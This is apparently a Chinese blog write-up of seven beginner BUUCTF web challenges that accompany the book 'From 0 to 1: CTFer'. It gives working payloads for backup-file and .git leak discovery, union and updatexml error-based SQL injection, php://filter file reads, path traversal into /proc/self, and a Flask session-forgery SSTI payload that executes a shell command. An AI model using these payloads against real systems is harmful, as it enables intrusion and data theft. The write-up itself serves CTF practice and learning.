前言:
BUU的N1BOOK系列是我从未接触过的一个系列,鉴于被BUU的WEB搞崩心态,换个类型,换个心情OωO。
解了一道题发现是和《从0到1 CTFer成长之路》合作的题目,这样也不错,对新手来说是很平滑的学习路线。
2021.9.22 阴转晴
1.[第一章 web入门]常见的搜集
《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com
打开环境,提示:敏感文件
科普一波 常见的敏感文件:
1、gedit备份文件,格式为filename~,比如index.php~
2、vim备份文件,格式为.filename.swp或者*.swo或者*.swn,比如.index.php.swp
3、robots.txt
通过一个个访问目录也可以得到flag。
这里推荐工具:御剑(这里类似的扫描路径的软件也可以)PS:此时我的Mac一点也不香了,因为我不想开虚拟机。
其实工具dirsearch也是可以的,但是依靠字典(我们日常的CTF里面总也有些奇奇怪怪的文件不在字典里面)
最后经过我辛苦的一番操作,可以得到以下三个路径返回正常robots.txt index.php~ .index.php.swp
1.访问robots.txt看看,发现可一个命名为:/flag1_is_her3_fun.txt的文件,访问看看。
User-agent: *
Disallow:
/flag1_is_her3_fun.txt
直接拿到flag的一半???
flag1:n1book{info_1
那剩下一半flag在哪里???我不猜,我让工具替我猜。
2.这里我们访问index.php~的时候发现了字符串:
flag2:s_v3ry_im
但是这个拼接起来少个反括号,说明还有!
3.访问扫描出来的最后一个路径:.index.php.swp
flag3:p0rtant_hack}
拼接起来:
flag:n1book{info_1s_v3ry_imp0rtant_hack}
看来BUU和《从0到1 CTFer成长之路》合作了,那么后续再给自己挖个大坑,记录相关的知识点,今晚试水先解一道题。
未完待续!
2.[第一章 web入门]粗心的小李
看看能不能找到信息吧?
解题关键点:如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
题目中提示是Git测试,此时我们可以使用GitHack脚本对其进行测试。
下载地址:GitHack
在GitHub上下载源码的压缩包后解压,然后打开终端:(这里需要python2才行)
这时候打开GitHack路径中新增的文件夹(也就是输入的域名)里面有一个index.html,点开它(用浏览器打开)
题目很简单,考察点是Git泄露的危险,但是这些知识点没有学习路线,零碎学的不用就又会忘记,这里我打算单独再开个分支,归纳《从0到1 CTFer成长之路》中的知识点,希望大家做题前后都去反复看看,不要为了做题而做题,不要为了刷flag而刷flag。
3.[第一章 web入门]SQL注入-1
巴拉巴拉看完了说了一大堆,没什么特别的,做WEB题纪律性的操作过一遍,发现网站的URL:
/index.php?id=1
(1)寻找注入点
?id=1' and 1=2 页面出现错误,说明存在注入点 id
(2)测试有几个回显
?id=1’ order by 3 --+ 页面正常
?id=1’ order by 4 --+ 页面报错,说明存在2,3两个回显
(3)开始查库查表查字段
1.查库名:
payload:?id=-1' union select 1,database(),3 --+
回显说数据库名就是 note
2.查表名:
?id=-1' union select 1,database(),table_name from information_schema
.tables where table_schema='note' limit 0,1 --+
?id=-1' union select 1,database(),table_name from information_schema
.tables where table_schema='note' limit 1,1 --+
发现这边只有两个表,一个是fl4g,一个是notes
3.相比之下 fl4g 更有可能,查一下它的字段:
payload:?id=-1' union select 1,database(), group_concat(column_name) from
information_schema.columns where table_name='fl4g' --+
4.查询字段:
payload:?id=-1' union select 1,database(), group_concat(fllllag) from fl4g --+
拿下flag,这道题就是SQL语句的练习与判断,可以去看看我的BUU-WEB的SQL注入的相关题目,后期我会单独开文章单独讲,这里就不再赘述。
注:对payload填写无感或者对这些库,表,字段没有概念的,建议使用:Sqlmap,我后期会跟进文章。
4.[第一章 web入门]SQL注入-2
题目提示:请访问 /login.php /user.php
纪律性:进入页面后习惯性地查看源代码发现有一行注释提示,告诉我们:可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到:
这里为了解题方便,就不用HackBar了,这里用Burp Suite:
1.先关闭拦截 2.输入一个用户名和密码 3.打开拦截 4.点击登录 5.发送到Repeater 6.添加:?tips=1 7.send
用dual进行测试:
name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)--+&pass=xxxx
(密码写啥都行,因为前面注释掉密码了)
根据报错的提示我们可以发现是select被过滤了,尝试一下大小写绕过:
name=1'and updatexml(1,concat(0x7e,(sELECT 1 from dual)),1)--+&pass=1' and 1=2 --+
成功得到正常回显:
开始注入:
1.查表名:
要看fl4g的字段,把之前的两个地方改为group_concat(column_name)和information_schema.columns where table_name=‘fl4g’,整理payload:
name=1'and updatexml(1,concat(0x7e,(sELECT group_concat(column_name) from
information_schema.columns where table_name='fl4g')),1)--+&pass=1' and 1=2 --+
2.查看字段获取flag:
payload:
name=1'and updatexml(1,concat(0x7e,(sELECT flag from fl4g)),1)--+&pass=1' and 1=2 --+
flag:n1book{login_sqli_is_nice}
题目原理:
1.有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入
2.updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数
3.dual用于测试数据库是否可以正常使用
5.[第一章 web入门]afr_1
发现后面传了参数:?p=hello
这是在提示一个东西:任意文件读取,本道题的考点是php伪协议
解题:
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
(1)原理
PHP向用户提供的指定待打开文件的方式,是一个文件流
PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法
php://filter/read=convert.base64-encode/resource=xxx
利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码
(2)通用payload:
通用格式:
http://127.0.0.1/cmd.php?file=php://filter/convert.base64-encode/resource=cmd
(3)本题payload:
http://b339945d-9f9c-46ea-8640-710e084edfd7.node4.buuoj.cn:81/
?p=php://filter/convert.base64-encode/resource=flag
(4)将得到的base64进行解码:
编码:PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
明文:<?php
die('no no no');
//n1book{afr_1_solved}
写在最后:关于PHP伪协议我会单独开一篇文章单独讲(又给自己挖坑),如果后面我忘了,记得打醒我......
6.[第一章 web入门]afr_2
为什么要辣我眼睛???命题人夜路警告!!!看不下去了速速解题!!!
纪律性的检查一遍,发现源码里这个动图在/img文件夹下面,进去看看。
看到这里还是有点懵,目录穿越看看上层文件,在网址输入:/img../
看到flag文件,点击发现下载下来一个文件。
emmmm,好无聊,就这么结束了。
7.[第一章 web入门]afr_3
随便输入一个admin,点击进去又是一个链接:
观察URL,有一个name参数,思路在这里就断了,但是由于我有《从0到1 CTFer成长之路》这本书,于是我就翻了一下发现有一个章节的知识点(如果有书请翻看:P39-1.3.2文件读取漏洞常见读取路径)在Linux系统中,服务器信息(绝对路径)中有一个/proc目录
关于/proc目录:
通常存储着进程动态进行的各种信息,本质上是一种虚拟目录。注意:如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self/代替/proc/[pid]/即可。
1.对应目录下的cmdline可读出比较敏感的信息,如使用mysql -uxxx -pxxxx登录MySQl,会在cmdline中显示明文密码:
/proc/[pid]/cmdline ([pid]指向进程所对应的终端命令)
2.有时候我们无法获取当前应用所在的目录,通过cwd命令可以直接跳转到当前目录:
/proc/[pid]/cwd/ ([pid]指向进程的运行目录)
3.环境变量中可能存在secret_key,这时也可以通过environ进行读取:
/proc/[pid]/environ ([pid]指向进程运行时的环境变量)
所以综上所述利用这个name参数获取当前执行系统命令:
payload:URL/article?name=../../../../../proc/self/cmdline
得到python server.py,然后查看server.py的源代码:
payload:URL/article?name=../../../../../proc/self/cwd/server.py
可以看到有个flag.py和key.py
在flag.py中应该是存在flag,但是不能查看
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template)
可以看到这里存在ssti,可以用flask的session伪造获取flag
这里偷懒没有自己伪造,这里直接就用了别人的:
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()
[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
关于伪造session我之前WEB也有提到,具体方法:第20题
#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'
伪造:
./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':
'{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\']
.popen(\'cat flag.py\').read()}}'}"
伪造结果:
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPlj
NjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-
vTkpKpV1BcrHygP.YU0sHg.kzXojXHR6PsJpJip6F_P9OjasbE
修改Session:(1.Hackbar 2.Burp Suite)
先在终端上运行一波:flask_session_cookie_manager3.py
拿到伪造session:
通过Repeater修改Cookie session并且send
4 条评论
吼吼的文章,我在这个题目纠结很久了
最后一道题目的session不要抄我的哦,解不出来的,要自己加密一波才行
N1BOOK系列第一章完结撒花
好困啊,最近没休息好,睡觉去了ヾ(≧∇≦*)ゝ